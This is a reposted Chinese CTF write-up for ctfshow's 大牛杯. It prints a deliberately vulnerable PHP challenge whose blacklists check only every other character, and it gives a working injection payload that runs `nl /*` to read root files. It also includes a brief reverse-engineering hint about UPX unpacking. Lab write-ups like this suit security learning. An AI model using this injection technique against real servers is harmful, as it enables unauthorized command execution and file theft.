[ctfshow]大牛杯

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctfshow]大牛杯相关的知识,希望对你有一定的参考价值。

web_checkin

<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
    $letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
    for ($i = 0; $i < count($letter_blacklist); $i+=2){
        if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
            die("xi nei~");
        }
    }
}

function check_character($code){
    $character_blacklist = array('=','\\+','%','_','\\)','\\(','\\*','&','\\^','-','\\$','#','`','@','!','~','\\]','\\[','}','{','\\'','\\"',';',' ','\\/','\\.','\\?',',','<',':','>');
    for ($i = 1; $i < count($character_blacklist); $i+=2){
        if (preg_match("/".$character_blacklist[$i]."/", $code)){
            die("tongtong xi nei~");
        }
    }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
    mkdir($dir);
}
if (isset($_GET["code"])) {
    $code = substr($_GET["code"], 0, 12);
    check_letter($code);
    check_character($code);

    file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
    echo $dir;
}else{
    highlight_file(__FILE__);
}

这两个过滤的函数,发现里面的循环是步长为2的
for ($i = 0; $i < count($letter_blacklist); $i+=2)

第一个循环可以通过的字符有:

b、d、f、h、j、l、n、p、r、t、v、x、z、2、4、6、8、0

第二个循环可以通过的字符有:

=、%、)、*、^、$、`、!、]、}、'、;、/、?、<、>

接下来就是往某个目录下的php文件里面写东西了

file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);

但是里面有一个$fuxkfile,不知道是什么东西
花了20分换了一个hint
在这里插入图片描述

我们可以这样构造code,先闭合前面的<?,再开一个<?=
由于前面说了flag在根目录,所以我们直接nl /*就可以了

?code=?><?=`nl%09/*`

成功获取flag

Mud

upx脱壳后,拉到ida,找到游戏结束那一块
flag在这里
在这里插入图片描述

以上是关于[ctfshow]大牛杯的主要内容,如果未能解决你的问题,请参考以下文章

Ctfshow 五月赛 大牛杯 Web&BlockChain

ctfshow-月饼杯

ctfshow baby杯web

CTFshow 36D杯

CTFSHOW七夕杯web

CTFSHOW七夕杯web